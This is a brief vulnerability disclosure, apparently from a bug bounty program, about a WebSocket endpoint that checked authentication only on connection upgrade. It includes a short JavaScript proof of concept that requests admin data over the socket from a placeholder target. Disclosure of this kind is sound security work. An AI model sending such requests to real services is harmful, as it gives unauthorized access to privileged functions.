Initializing...

cd ..
WebSocket Private Program 2024-09-01

WebSocket Connection Lacks Authentication

Severity: High | Status: Resolved

Summary

The real-time WebSocket endpoint only validated authentication on HTTP upgrade but not on WebSocket messages.

Proof of Concept

ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => ws.send(JSON.stringify({
  action: 'getAdminData'
}));

Impact

Unauthorized access to real-time admin functionality.

Responsible Disclosure

This vulnerability was reported responsibly and fixed by the vendor before public disclosure.